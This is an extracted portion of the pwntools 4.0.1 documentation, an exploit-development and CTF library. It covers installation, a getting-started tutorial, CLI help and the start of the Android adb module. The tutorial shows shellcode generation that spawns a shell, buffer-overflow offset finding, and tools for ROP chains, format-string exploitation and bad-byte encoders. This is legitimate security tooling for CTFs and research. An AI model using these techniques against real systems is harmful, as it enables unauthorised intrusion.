Pwntools
Pwntools
Release 4.0.1
1 Getting Started 3
1.1 About pwntools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.1 pwn — Toolbox optimized for CTFs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.2 pwnlib — Normal python library . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2 Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2.1 Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.2.2 Released Version . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.2.3 Development . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.3 Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.3.1 Making Connections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.3.2 Packing Integers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.3.3 Setting the Target Architecture and OS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.3.4 Setting Logging Verbosity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.3.5 Assembly and Disassembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.3.6 Misc Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.3.7 ELF Manipulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.4 from pwn import * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.5 Command Line Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.5.1 pwn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2 Module Index 21
2.1 pwnlib.adb — Android Debug Bridge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.1.1 Using Android Devices with Pwntools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.2 pwnlib.args — Magic Command-Line Arguments . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.3 pwnlib.asm — Assembler functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.3.1 Architecture Selection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.3.2 Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.3.3 Disassembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
2.3.4 Internal Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
2.4 pwnlib.atexception — Callbacks on unhandled exception . . . . . . . . . . . . . . . . . . . 34
2.5 pwnlib.atexit — Replacement for atexit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
2.6 pwnlib.constants — Easy access to header file constants . . . . . . . . . . . . . . . . . . . . 35
2.7 pwnlib.config — Pwntools Configuration File . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
2.8 pwnlib.context — Setting runtime variables . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2.8.1 Module Members . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2.9 pwnlib.dynelf — Resolving remote functions using leaks . . . . . . . . . . . . . . . . . . . . . 49
i
2.10 pwnlib.encoders — Encoding Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
2.11 pwnlib.elf — ELF Executables and Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
2.11.1 ELF Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
2.12 pwnlib.exception — Pwnlib exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
2.13 pwnlib.flag — CTF Flag Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
2.14 pwnlib.fmtstr — Format string bug exploitation tools . . . . . . . . . . . . . . . . . . . . . . . 76
2.14.1 Example - Payload generation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
2.14.2 Example - Automated exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
2.15 pwnlib.gdb — Working with GDB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
2.15.1 Useful Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
2.15.2 Debugging Tips . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
2.15.3 Tips and Troubleshooting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
2.16 pwnlib.libcdb — Libc Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
2.17 pwnlib.log — Logging stuff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
2.17.1 Exploit Developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
2.17.2 Pwnlib Developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
2.17.3 Technical details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
2.18 pwnlib.memleak — Helper class for leaking memory . . . . . . . . . . . . . . . . . . . . . . . 97
2.19 pwnlib.protocols — Wire Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
2.19.1 Supported Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
2.20 pwnlib.qemu — QEMU Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
2.20.1 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
2.20.2 Required Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
2.21 pwnlib.replacements — Replacements for various functions . . . . . . . . . . . . . . . . . . 110
2.22 pwnlib.rop — Return Oriented Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
2.22.1 Submodules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
2.23 pwnlib.runner — Running Shellcode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
2.24 pwnlib.shellcraft — Shellcode generation . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
2.24.1 Submodules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
2.25 pwnlib.term — Terminal handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
2.25.1 Term Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
2.26 pwnlib.timeout — Timeout handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
2.27 pwnlib.tubes — Talking to the World! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
2.27.1 Types of Tubes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
2.27.2 pwnlib.tubes.tube — Common Functionality . . . . . . . . . . . . . . . . . . . . . 202
2.28 pwnlib.ui — Functions for user interaction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
2.29 pwnlib.update — Updating Pwntools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
2.30 pwnlib.useragents — A database of useragent strings . . . . . . . . . . . . . . . . . . . . . . 218
2.31 pwnlib.util.crc — Calculating CRC-sums . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
2.32 pwnlib.util.cyclic — Generation of unique sequences . . . . . . . . . . . . . . . . . . . . . 262
2.33 pwnlib.util.fiddling — Utilities bit fiddling . . . . . . . . . . . . . . . . . . . . . . . . . . 265
2.34 pwnlib.util.getdents — Linux binary directory listing . . . . . . . . . . . . . . . . . . . . 275
2.35 pwnlib.util.hashes — Hashing functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . 276
2.36 pwnlib.util.iters — Extension of standard module itertools . . . . . . . . . . . . . . . 277
2.37 pwnlib.util.lists — Operations on lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . 288
2.38 pwnlib.util.misc — We could not fit it any other place . . . . . . . . . . . . . . . . . . . . . 290
2.39 pwnlib.util.net — Networking interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294
2.40 pwnlib.util.packing — Packing and unpacking of strings . . . . . . . . . . . . . . . . . . . 295
2.41 pwnlib.util.proc — Working with /proc/ . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
2.42 pwnlib.util.safeeval — Safe evaluation of python code . . . . . . . . . . . . . . . . . . . . 306
2.43 pwnlib.util.sh_string — Shell Expansion is Hard . . . . . . . . . . . . . . . . . . . . . . 307
2.43.1 Supported Shells . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
2.44 pwnlib.util.web — Utilities for working with the WWW . . . . . . . . . . . . . . . . . . . . 313
2.45 pwnlib.testexample — Example Test Module . . . . . . . . . . . . . . . . . . . . . . . . . . 313
ii
3 Indices and tables 315
Index 319
iii
iv
pwntools Documentation, Release 4.0.1
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyp-
ing and development, and intended to make exploit writing as simple as possible.
The primary location for this documentation is at docs.pwntools.com, which uses readthedocs. It comes in three
primary flavors:
• Stable
• Beta
• Dev
Contents 1
pwntools Documentation, Release 4.0.1
2 Contents
CHAPTER 1
Getting Started
Whether you’re using it to write exploits, or as part of another software project will dictate how you use it.
Historically pwntools was used as a sort of exploit-writing DSL. Simply doing from pwn import * in a previous
version of pwntools would bring all sorts of nice side-effects.
When redesigning pwntools for 2.0, we noticed two contrary goals:
• We would like to have a “normal” python module structure, to allow other people to familiarize themselves with
pwntools quickly.
• We would like to have even more side-effects, especially by putting the terminal in raw-mode.
To make this possible, we decided to have two different modules. pwnlib would be our nice, clean Python module,
while pwn would be used during CTFs.
As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this
module. It does the following:
• Imports everything from the toplevel pwnlib along with functions from a lot of submodules. This means that
if you do import pwn or from pwn import *, you will have access to everything you need to write an
exploit.
• Calls pwnlib.term.init() to put your terminal in raw mode and implements functionality to make it
appear like it isn’t.
• Setting the pwnlib.context.log_level to “info”.
• Tries to parse some of the values in sys.argv and every value it succeeds in parsing it removes.
3
pwntools Documentation, Release 4.0.1
This module is our “clean” python-code. As a rule, we do not think that importing pwnlib or any of the submodules
should have any significant side-effects (besides e.g. caching).
For the most part, you will also only get the bits you import. You for instance not get access to pwnlib.util.
packing simply by doing import pwnlib.util.
Though there are a few exceptions (such as pwnlib.shellcraft), that does not quite fit the goals of being simple
and clean, but they can still be imported without implicit side-effects.
1.2 Installation
pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribu-
tion (Debian, Arch, FreeBSD, OSX, etc.).
1.2.1 Prerequisites
In order to get the most out of pwntools, you should have the following system libraries installed.
Binutils
Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions
of binutils to be installed. We’ve made this process as smooth as we can.
In these examples, replace $ARCH with your target architecture (e.g., arm, mips64, vax, etc.).
Building binutils from source takes about 60 seconds on a modern 8-core machine.
Ubuntu
For Ubuntu 12.04 through 15.10, you must first add the pwntools Personal Package Archive repository.
Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.
Mac OS X
Mac OS X is just as easy, but requires building binutils from source. However, we’ve made homebrew recipes to
make this a single command. After installing brew, grab the appropriate recipe from our binutils repo.
Alternate OSes
If you want to build everything by hand, or don’t use any of the above OSes, binutils is simple to build by hand.
#!/usr/bin/env bash
cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig
tar xf binutils-$V.tar.gz
mkdir binutils-build
cd binutils-build
export AR=ar
export AS=as
../binutils-$V/configure \
--prefix=/usr/local \
--target=$ARCH-unknown-linux-gnu \
--disable-static \
--disable-multilib \
--disable-werror \
--disable-nls
MAKE=gmake
hash gmake || MAKE=make
Some of pwntools’ Python dependencies require native extensions (for example, Paramiko requires PyCrypto).
In order to build these native extensions, the development headers for Python must be installed.
Ubuntu
Mac OS X
No action needed.
1.2. Installation 5
pwntools Documentation, Release 4.0.1
1.2.3 Development
If you are hacking on Pwntools locally, you’ll want to do something like this:
$ git clone https://github.com/Gallopsled/pwntools
$ pip install --upgrade --editable ./pwntools
To get your feet wet with pwntools, let’s first go through a few examples.
When writing exploits, pwntools generally follows the “kitchen sink” approach.
>>> from pwn import *
This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and
many other things with a single function.
A full list of everything that is imported is available on from pwn import *.
You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its pwnlib.
tubes module.
This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some
nifty helpers for common tasks. For example, remote connections via pwnlib.tubes.remote.
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
>>> conn.send(b'USER anonymous\r\n')
>>> conn.recvuntil(b' ', drop=True)
b'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
>>> conn.close()
>>> sh = process('/bin/sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> sh.close()
Not only can you interact with processes programmatically, but you can actually interact with processes.
There’s even an SSH module for when you’ve got to SSH into a box to perform a local/setuid exploit with pwnlib.
tubes.ssh. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a
process tube.
>>> shell['whoami']
b'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> shell.close()
A common task for exploit-writing is converting between integers as Python sees them, and their representation as a
sequence of bytes. Usually folks resort to the built-in struct module.
pwntools makes this easier with pwnlib.util.packing. No more remembering unpacking codes, and littering
your code with helper routines.
The target architecture can generally be specified as an argument to the routine that requires it.
>>> asm('nop')
b'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0 \xe3'
However, it can also be set once in the global context. The operating system, word size, and endianness can also be
set here.
Additionally, you can use a shorthand to set all of the values at once.
>>> asm('nop')
b'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3 \xf0\x00'
You can control the verbosity of the standard pwntools logging via context.
For example, setting
Will cause all of the data sent and received by a tube to be printed to the screen.
Never again will you need to run some already-assembled pile of shellcode from the internet! The pwnlib.asm
module is full of awesome.
>>> print(disasm(unhex('6a0258cd80ebf9')))
0: 6a 02 push 0x2
2: 58 pop eax
3: cd 80 int 0x80
5: eb f9 jmp 0x0
However, you shouldn’t even need to write your own shellcode most of the time! pwntools comes with the pwnlib.
shellcraft module, which is loaded with useful time-saving shellcodes.
Let’s say that we want to setreuid(getuid(), getuid()) followed by dup‘ing file descriptor 4 to ‘stdin, stdout, and stderr,
and then pop a shell!
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
'6a3158cd80...'
Which imports a bazillion things into the global namespace to make your life easier.
This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
• pwnlib.context
– pwnlib.context.context
– Responsible for most of the pwntools convenience settings
– Set context.log_level = ‘debug’ when troubleshooting your exploit
– Scope-aware, so you can disable logging for a subsection of code via ContextType.local()
• remote, listen, ssh, process
– pwnlib.tubes
– Super convenient wrappers around all of the common functionality for CTF challenges
– Connect to anything, anywhere, and it works the way you want it to
– Helpers for common tasks like recvline, recvuntil, clean, etc.
– Interact directly with the application via .interactive()
• p32 and u32
– pwnlib.util.packing
– Useful functions to make sure you never have to remember if '>' means signed or unsigned for
struct.pack, and no more ugly [0] index at the end.
– Set signed and endian in sane manners (also these can be set once on context and not bothered
with again)
– Most common sizes are pre-defined (u8, u64, etc), and pwnlib.util.packing.pack() lets
you define your own.
• log
– pwnlib.log
– Make your output pretty!
• cyclic and cyclic_func
– pwnlib.util.cyclic
– Utilities for generating strings such that you can find the offset of any given substring given only N
(usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141,
you could know that 0x61616171 means you control EIP at offset 64 in your buffer.
• asm and disasm
– pwnlib.asm
– Quickly turn assembly into some bytes, or vice-versa, without mucking about
– Supports any architecture for which you have a binutils installed
– Over 20 different architectures have pre-built binaries at ppa:pwntools/binutils.
• shellcraft
– pwnlib.shellcraft
– Library of shellcode ready to go
– asm(shellcraft.sh()) gives you a shell
– Templating library for reusability of shellcode fragments
• ELF
– pwnlib.elf
– ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and
the ability to modify and save binaries back to disk
• DynELF
– pwnlib.dynelf
– Dynamically resolve functions given only a pointer to any loaded module, and a function which can
leak data at any address
• ROP
– pwnlib.rop
– Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw
addresses
• gdb.debug and gdb.attach
– pwnlib.gdb
– Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting break-
points and makes iteration on exploits MUCH faster.
– Alternately, attach to a running process given a PID, pwnlib.tubes object, or even just a socket
that’s connected to it
• args
– Dictionary containing all-caps command-line arguments for quick access
– Run via python foo.py REMOTE=1 and args['REMOTE'] == '1'.
– Can also control logging verbosity and terminal fanciness
* NOTERM
* SILENT
* DEBUG
• randoms, rol, ror, xor, bits
– pwnlib.util.fiddling
– Useful utilities for generating random data from a given alphabet, or simplifying math operations that
usually require masking off with 0xffffffff or calling ord and chr an ugly number of times
• net
– pwnlib.util.net
– Routines for querying about network interfaces
• proc
– pwnlib.util.proc
– Routines for querying about processes
• pause
– It’s the new getch
• safeeval
– pwnlib.util.safeeval
pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal
functionality.
1.5.1 pwn
...
-h, --help
show this help message and exit
pwn asm
usage: pwn asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context]
[-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
[line [line ...]]
line
Lines to assemble. If none are supplied, use stdin
-h, --help
show this help message and exit
-f {raw,hex,string,elf}, --format {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)
-o <file>, --output <file>
Output file (defaults to stdout)
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
-v <avoid>, --avoid <avoid>
Encode the shellcode to avoid the listed bytes (provided as hex)
-n, --newline
Encode the shellcode to avoid newlines
-z, --zero
Encode the shellcode to avoid NULL bytes
-d, --debug
Debug the shellcode with GDB
-e <encoder>, --encoder <encoder>
Specific encoder to use
-i <infile>, --infile <infile>
Specify input file
-r, --run
Run output
pwn checksec
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
elf
Files to check
-h, --help
show this help message and exit
--file <elf>
File to check (for compatibility with checksec.sh)
pwn constgrep
usage: pwn constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os]
[regex] [constant]
regex
The regex matching constant you want to find
constant
The constant to find
-h, --help
show this help message and exit
-e <constant>, --exact <constant>
Do an exact match for a constant instead of searching for a regex
-i, --case-insensitive
Search case insensitive
-m, --mask-mode
Instead of searching for a specific constant value, search for values not containing strictly less bits that the given
value.
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
pwn cyclic
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
[-l lookup_value]
[count]
count
Number of characters to print
-h, --help
show this help message and exit
-a <alphabet>, --alphabet <alphabet>
The alphabet to use in the cyclic pattern (defaults to all lower case letters)
-n <length>, --length <length>
Size of the unique subsequences (defaults to 4).
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
-l <lookup_value>, -o <lookup_value>, --offset <lookup_value>, --lookup <lookup_value>
Do a lookup instead printing the alphabet
pwn debug
usage: pwn debug [-h] [-x GDBSCRIPT] [--pid PID] [-c context]
[--exec EXECUTABLE] [--process PROCESS_NAME]
[--sysroot SYSROOT]
-h, --help
show this help message and exit
-x <gdbscript>
Execute GDB commands from this file.
--pid <pid>
PID to attach to
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
--exec <executable>
File to debug
--process <process_name>
Name of the process to attach to (e.g. “bash”)
--sysroot <sysroot>
GDB sysroot path
pwn disablenx
elf
Files to check
-h, --help
show this help message and exit
pwn disasm
usage: pwn disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
[hex [hex ...]]
hex
Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.
-h, --help
show this help message and exit
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
-a <address>, --address <address>
Base address
--color
Color output
--no-color
Disable color output
pwn elfdiff
a
b
-h, --help
show this help message and exit
pwn elfpatch
elf
File to patch
offset
Offset to patch in virtual address (hex encoded)
bytes
Bytes to patch (hex encoded)
-h, --help
show this help message and exit
pwn errno
error
Error message or value
-h, --help
show this help message and exit
pwn hex
data
Data to convert into hex
-h, --help
show this help message and exit
pwn phd
usage: pwn phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
[-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
[file]
file
File to hexdump. Reads from stdin if missing.
-h, --help
show this help message and exit
-w <width>, --width <width>
Number of bytes per line.
-l <highlight>, --highlight <highlight>
Byte to highlight.
-s <skip>, --skip <skip>
Skip this many initial bytes.
-c <count>, --count <count>
Only show this many bytes.
-o <offset>, --offset <offset>
Addresses in left hand column starts at this address.
--color {always,never,auto}
Colorize the output. When ‘auto’ output is colorized exactly when stdout is a TTY. Default is ‘auto’.
pwn pwnstrip
usage: pwn pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file
file
-h, --help
show this help message and exit
-b, --build-id
Strip build ID
-p <function>, --patch <function>
Patch function
-o <output>, --output <output>
pwn scramble
usage: pwn scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p]
[-v AVOID] [-n] [-z] [-d]
-h, --help
show this help message and exit
-f {raw,hex,string,elf}, --format {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)
-o <file>, --output <file>
Output file (defaults to stdout)
-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’,
‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’,
‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’,
‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]
-p, --alphanumeric
Encode the shellcode with an alphanumeric encoder
-v <avoid>, --avoid <avoid>
Encode the shellcode to avoid the listed bytes
-n, --newline
Encode the shellcode to avoid newlines
-z, --zero
Encode the shellcode to avoid NULL bytes
-d, --debug
Debug the shellcode with GDB
pwn shellcraft
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
[-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
[--syscalls] [--address ADDRESS] [-l] [-s]
[shellcode] [arg [arg ...]]
shellcode
The shellcode you want
arg
Argument to the chosen shellcode
-h, --help
show this help message and exit
-?, --show
Show shellcode documentation
-o <file>, --out <file>
Output file (default: stdout)
-f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}, --format
Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i,
{a}ssembly code, {p}reprocssed code, escape{d} hex string
-d, --debug
Debug the shellcode with GDB
-b, --before
Insert a debug trap before the code
-a, --after
Insert a debug trap after the code
-v <avoid>, --avoid <avoid>
Encode the shellcode to avoid the listed bytes
-n, --newline
Encode the shellcode to avoid newlines
-z, --zero
Encode the shellcode to avoid NULL bytes
-r, --run
Run output
--color
Color output
--no-color
Disable color output
--syscalls
List syscalls
--address <address>
Load address
-l, --list
List available shellcodes, optionally provide a filter
-s, --shared
Generated ELF is a shared library
pwn template
usage: pwn template [-h] [--host HOST] [--port PORT] [--user USER]
[--pass PASSWORD] [--path PATH] [--quiet]
[exe]
exe
Target binary
-h, --help
show this help message and exit
--host <host>
Remote host / SSH server
--port <port>
Remote port / SSH port
--user <user>
SSH Username
--pass <password>
SSH Password
--path <path>
Remote path of file on SSH server
--quiet
Less verbose template comments
pwn unhex
hex
Hex bytes to decode
-h, --help
show this help message and exit
pwn update
-h, --help
show this help message and exit
--install
Install the update automatically.
--pre
Check for pre-releases.
Module Index
Provides utilities for interacting with Android devices via the Android Debug Bridge.
Once a device is selected, you can operate on it with any of the functions in the pwnlib.adb module.
21
pwntools Documentation, Release 4.0.1
# Fetch properties
print(adb.properties.ro.build.fingerprint)
Example
>>> adb.adb(['get-serialno'])
b'emulator-5554\n'
pwnlib.adb.adb.boot_time() → int
Returns Boot time of the device, in Unix time, rounded to the nearest second.
pwnlib.adb.adb.build(*a, **kw)
Returns the Build ID of the device.
pwnlib.adb.adb.compile(source)
Compile a source file or project with the Android NDK.
pwnlib.adb.adb.current_device(any=False)
Returns an AdbDevice instance for the currently-selected device (via context.device).
Example
>>> device.port
'emulator'
pwnlib.adb.adb.devices(*a, **kw)
Returns a list of Device objects corresponding to the connected devices.
pwnlib.adb.adb.disable_verity(*a, **kw)
Disables dm-verity on the device.
pwnlib.adb.adb.exists(*a, **kw)
Return True if path exists on the target device.
Examples
>>> adb.exists('/')
True
>>> adb.exists('/init')
True
>>> adb.exists('/does/not/exist')
False
pwnlib.adb.adb.fastboot(*a, **kw)
Executes a fastboot command.
Returns The command output.
pwnlib.adb.adb.find_ndk_project_root(source)
Given a directory path, find the topmost project root.
tl;dr “foo/bar/jni/baz.cpp” ==> “foo/bar”
pwnlib.adb.adb.fingerprint(*a, **kw)
Returns the device build fingerprint.
pwnlib.adb.adb.forward(*a, **kw)
Sets up a port to forward to the device.
pwnlib.adb.adb.getprop(*a, **kw)
Reads a properties from the system property store.
Parameters name (str) – Optional, read a single property.
